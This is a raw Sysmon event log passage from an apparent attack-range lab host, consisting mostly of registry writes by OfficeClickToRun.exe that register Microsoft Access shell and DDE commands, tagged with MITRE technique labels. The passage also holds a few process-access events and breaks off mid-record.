13241300x800000000000000039918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro "%%1"] 13241300x800000000000000039917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\design\ddeexec\(Default)[SetForeground][ShellOpenMacro "%%1", 1] 13241300x800000000000000039914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Macro.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro "%%1", 1] 13241300x800000000000000039913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Diagram.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Diagram.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Diagram.1\shell\open\ddeexec\(Default)[SetForeground][OpenDiagram "%%1"] 13241300x800000000000000039910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Diagram.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenDiagram "%%1"] 13241300x800000000000000039909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\open\ddeexec\(Default)[SetForeground][OpenView "%%1"] 13241300x800000000000000039906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenView "%%1"] 13241300x800000000000000039905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\design\ddeexec\(Default)[SetForeground][OpenView "%%1", 1] 13241300x800000000000000039902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.View.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenView "%%1", 1] 10341000x800000000000000039901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.596{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5708-00000000F001}5160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.596{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5708-00000000F001}5160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\printto\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\printto\ddeexec\ifexec\(Default)[] 13241300x800000000000000039897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\printto\ddeexec\(Default)[PrintTo "%%1","%%2","%%3","%%4"] 13241300x800000000000000039896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\printto\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1","%%2","%%3","%%4"][ShellQuit] 13241300x800000000000000039895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\print\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\print\ddeexec\ifexec\(Default)[] 13241300x800000000000000039893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\print\ddeexec\(Default)[PrintTo "%%1"] 13241300x800000000000000039892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1"][ShellQuit] 13241300x800000000000000039891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\preview\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\preview\ddeexec\ifexec\(Default)[] 13241300x800000000000000039889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\preview\ddeexec\(Default)[SetForeground][OpenQuery "%%1", 2] 13241300x800000000000000039888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\preview\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenQuery "%%1", 2] 13241300x800000000000000039887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\open\ddeexec\(Default)[SetForeground][OpenQuery "%%1"] 13241300x800000000000000039884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery "%%1"] 13241300x800000000000000039883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\design\ddeexec\(Default)[SetForeground][OpenQuery "%%1", 1] 13241300x800000000000000039880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Query.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenQuery "%%1", 1] 13241300x800000000000000039879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-access\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000039878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\open\ddeexec\(Default)[SetForeground][OpenStoredProcedure "%%1"] 13241300x800000000000000039875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure "%%1"] 13241300x800000000000000039874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\design\ddeexec\(Default)[SetForeground][OpenStoredProcedure "%%1", 1] 13241300x800000000000000039871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.StoredProcedure.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure "%%1", 1] 13241300x800000000000000039870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\printto\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\printto\ddeexec\ifexec\(Default)[] 13241300x800000000000000039868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\printto\ddeexec\(Default)[PrintTo "%%1","%%2","%%3","%%4"] 13241300x800000000000000039867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\printto\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1","%%2","%%3","%%4"][ShellQuit] 13241300x800000000000000039866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\print\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\print\ddeexec\ifexec\(Default)[] 13241300x800000000000000039864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\print\ddeexec\(Default)[PrintTo "%%1"] 13241300x800000000000000039863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [PrintTo "%%1"][ShellQuit] 13241300x800000000000000039862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\preview\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\preview\ddeexec\ifexec\(Default)[] 13241300x800000000000000039860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\preview\ddeexec\(Default)[SetForeground][OpenForm "%%1", 2] 13241300x800000000000000039859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\preview\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenForm "%%1", 2] 13241300x800000000000000039858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\open\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\open\ddeexec\ifexec\(Default)[] 13241300x800000000000000039856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\open\ddeexec\(Default)[SetForeground][OpenForm "%%1"] 13241300x800000000000000039855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenForm "%%1"] 13241300x800000000000000039854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\design\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\design\ddeexec\ifexec\(Default)[] 13241300x800000000000000039852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\design\ddeexec\(Default)[SetForeground][OpenForm "%%1", 1] 13241300x800000000000000039851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\design\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /NOSTARTUP /SHELLSYSTEM [OpenForm "%%1", 1] 13241300x800000000000000039850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\datasheet\ddeexec\topic\(Default)ShellSystem 13241300x800000000000000039849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\datasheet\ddeexec\ifexec\(Default)[] 13241300x800000000000000039848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\datasheet\ddeexec\(Default)[SetForeground][OpenForm "%%1", 3] 13241300x800000000000000039847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.549{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Access.ShortCut.Form.1\shell\datasheet\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE" /SHELLSYSTEM [OpenForm "%%1", 3] 13241300x800000000000000039846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 